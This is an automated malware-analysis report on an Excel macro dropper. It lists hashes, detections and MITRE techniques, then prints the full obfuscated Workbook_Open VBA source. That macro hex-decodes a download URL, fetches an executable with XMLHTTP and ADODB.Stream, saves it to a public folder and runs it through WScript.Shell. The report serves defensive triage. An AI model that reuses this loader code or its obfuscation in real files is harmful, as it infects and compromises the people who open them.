Office (OOXML) malware analysis — malicious · 5f1546c28e066984

MALICIOUS

Office (OOXML)

78.6 KB First seen: 2020-09-07

MD5: 74e2a78248c6f0a949f2bcd86d0315c8 SHA-1: 7209cc8af3c1704cd35aa5f9650335e50eba09ef SHA-256: 5f1546c28e06698400fdb0c307bc82e4ab74ecac4913cbd106648f17a81e02ff

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file is an OOXML document containing a Workbook_Open VBA macro. This macro is obfuscated and uses CreateObject to download a file from the URL 'http://www.sol-u-ink.com/look/hoga.exe' and execute it. This behavior is indicative of a downloader or droppper malware.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
iigzyfovbmaodkcgkkmtqngwtqrwldnljafizthzqvrrwuowuiebpncubjfinskyypecfuhrdmcvvpzycubcymvwykgqnzmyktsh.write ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht = CreateObject(peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht = CreateObject(peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6599 bytes
SHA-256: `ec3490b6ea7555132e42da7edf3169ed842f85b0e98a4f6770a5062bdcff839b`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select ndilgvgkilkrfzotadifdumzxfpmmczarxpuihwasocgtqleryfkqvksqinbftxgmkahjulthhnpsgfhtlvowojwnwdztuuyrvti"68 74 74 70 3A 2F 2F 77 77 77 2E 73 6F 6C 2D 75 2D 69 6E 6B 2E 63 6F 6D 2F 6C 6F 6F 6B 2F 68 6F 67 61 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub ndilgvgkilkrfzotadifdumzxfpmmczarxpuihwasocgtqleryfkqvksqinbftxgmkahjulthhnpsgfhtlvowojwnwdztuuyrvti (ryvltpixumafeppbaqffykhnzllxwwhlgmbaaqbkrtxmgtufqdcobosgqhliekbxfozroobkouofmvhgrghsuskstuksetggrzhr As String) Dim ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht Range("A6:J13").Select Dim iigzyfovbmaodkcgkkmtqngwtqrwldnljafizthzqvrrwuowuiebpncubjfinskyypecfuhrdmcvvpzycubcymvwykgqnzmyktsh Range("A6:J13").Select Dim qlrabnydkgymjggsqizmtheunrddaekcwriqdbalnslrlughtthcugojhwmkjvcgwwpryppphnyawnjskwjhxihpdzjgopbspevo Range("A6:J13").Select Set ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht = CreateObject(peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht = CreateObject(peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht = CreateObject(peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht = CreateObject(peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set iigzyfovbmaodkcgkkmtqngwtqrwldnljafizthzqvrrwuowuiebpncubjfinskyypecfuhrdmcvvpzycubcymvwykgqnzmyktsh = CreateObject(peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set qlrabnydkgymjggsqizmtheunrddaekcwriqdbalnslrlughtthcugojhwmkjvcgwwpryppphnyawnjskwjhxihpdzjgopbspevo = CreateObject(peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) qmpxmoaetdmmwhaprgtjhptnjwhxebuonjdskdjrolwcewgfbrmdgtvbsbnpgdasjyyndieowbuwsrjnqcwmoqhtocziptklletf = peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma(ryvltpixumafeppbaqffykhnzllxwwhlgmbaaqbkrtxmgtufqdcobosgqhliekbxfozroobkouofmvhgrghsuskstuksetggrzhr) ytbsmxgfzzjbsazehndsrezajwzdqjloxdowadarkcuotyqougdxaaouuajqydopnudolddemmhpjkhlfkijgnowpubauksgneby = peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 7A 68 6B 77 68 6C 6A 68 67 2e 65 78 65") ucdqdzlntzkksyknuejaggzqbdjcuabeijqcgsggcadpjqhwzemivbrndmpapitsygbjhigcydxfcjgkwncposjhrczudfqthlrd = peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 7A 68 6B 77 68 6C 6A 68 67 2e 65 78 65") ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht.Open chr(71) + chr(69) + chr(84), qmpxmoaetdmmwhaprgtjhptnjwhxebuonjdskdjrolwcewgfbrmdgtvbsbnpgdasjyyndieowbuwsrjnqcwmoqhtocziptklletf, False ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht.send iigzyfovbmaodkcgkkmtqngwtqrwldnljafizthzqvrrwuowuiebpncubjfinskyypecfuhrdmcvvpzycubcymvwykgqnzmyktsh.Type = 1 iigzyfovbmaodkcgkkmtqngwtqrwldnljafizthzqvrrwuowuiebpncubjfinskyypecfuhrdmcvvpzycubcymvwykgqnzmyktsh.Open iigzyfovbmaodkcgkkmtqngwtqrwldnljafizthzqvrrwuowuiebpncubjfinskyypecfuhrdmcvvpzycubcymvwykgqnzmyktsh.write ucqccszgznuuafrydjdmegxtdjfvoinnnqlopfqctetgapszchdiwumofxytmdrrzhhktcjytatanrtnqfsgefqtdxisgwppmcht.responseBody iigzyfovbmaodkcgkkmtqngwtqrwldnljafizthzqvrrwuowuiebpncubjfinskyypecfuhrdmcvvpzycubcymvwykgqnzmyktsh.savetofile ytbsmxgfzzjbsazehndsrezajwzdqjloxdowadarkcuotyqougdxaaouuajqydopnudolddemmhpjkhlfkijgnowpubauksgneby, 2 qlrabnydkgymjggsqizmtheunrddaekcwriqdbalnslrlughtthcugojhwmkjvcgwwpryppphnyawnjskwjhxihpdzjgopbspevo.Run ucdqdzlntzkksyknuejaggzqbdjcuabeijqcgsggcadpjqhwzemivbrndmpapitsygbjhigcydxfcjgkwncposjhrczudfqthlrd End Sub Public Function peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma(ByVal foideruginmtntzmlvjnozozgiasmglrsunwnfcfnbhpmptuppgtvhzfzjxvrcuccvasgdyfsdansynrpfcwzrvlviweihnlhemr As String) As String Dim oaomqbbrgmmbwgflaxdlzpxxguwkqognlvcorpgxpeejwvicccljbbszdqfweqbrfypadqukqfvuknbkluindwmkddlajktzcmdx As String Dim giylhbtvfxoppvkjhnoimewafuafmvsxkdecvxgcdqegovkoajsoyulblygnanjjfqfmqhnkhlfwzqljjlfdddzprcrxqscqgvay As String Dim qxysvihmppbvmxdohggbqpunqqtpjppepnslnnhvwmacawltonizpzhbdkbforcazxfzeratzkfeornuezawgppqfqidmbgejadd As Long For qxysvihmppbvmxdohggbqpunqqtpjppepnslnnhvwmacawltonizpzhbdkbforcazxfzeratzkfeornuezawgppqfqidmbgejadd = 1 To Len(foideruginmtntzmlvjnozozgiasmglrsunwnfcfnbhpmptuppgtvhzfzjxvrcuccvasgdyfsdansynrpfcwzrvlviweihnlhemr)Step 3 oaomqbbrgmmbwgflaxdlzpxxguwkqognlvcorpgxpeejwvicccljbbszdqfweqbrfypadqukqfvuknbkluindwmkddlajktzcmdx = Chr$(Val("&H" & Mid$(foideruginmtntzmlvjnozozgiasmglrsunwnfcfnbhpmptuppgtvhzfzjxvrcuccvasgdyfsdansynrpfcwzrvlviweihnlhemr, qxysvihmppbvmxdohggbqpunqqtpjppepnslnnhvwmacawltonizpzhbdkbforcazxfzeratzkfeornuezawgppqfqidmbgejadd, 2))) giylhbtvfxoppvkjhnoimewafuafmvsxkdecvxgcdqegovkoajsoyulblygnanjjfqfmqhnkhlfwzqljjlfdddzprcrxqscqgvay = giylhbtvfxoppvkjhnoimewafuafmvsxkdecvxgcdqegovkoajsoyulblygnanjjfqfmqhnkhlfwzqljjlfdddzprcrxqscqgvay & oaomqbbrgmmbwgflaxdlzpxxguwkqognlvcorpgxpeejwvicccljbbszdqfweqbrfypadqukqfvuknbkluindwmkddlajktzcmdx Next qxysvihmppbvmxdohggbqpunqqtpjppepnslnnhvwmacawltonizpzhbdkbforcazxfzeratzkfeornuezawgppqfqidmbgejadd peuwmmdihvajdgiuyjkxbdunqlzmmoywnxrprybjlaorwuwnma = giylhbtvfxoppvkjhnoimewafuafmvsxkdecvxgcdqegovkoajsoyulblygnanjjfqfmqhnkhlfwzqljjlfdddzprcrxqscqgvay End Function Attribute VB_Name = "pxorxkkrdmktgeecgedfwtrei" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `036e5cffa7fc7ea6945c5fed3d1fb523a3491ea7c73cd8f89877d4c6b3575833`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 141 of 227 identifiers look randomly generated (e.g. 'pxorxkkrdmktgeecgedfwtrei') — consistent with name-mangling obfuscation.

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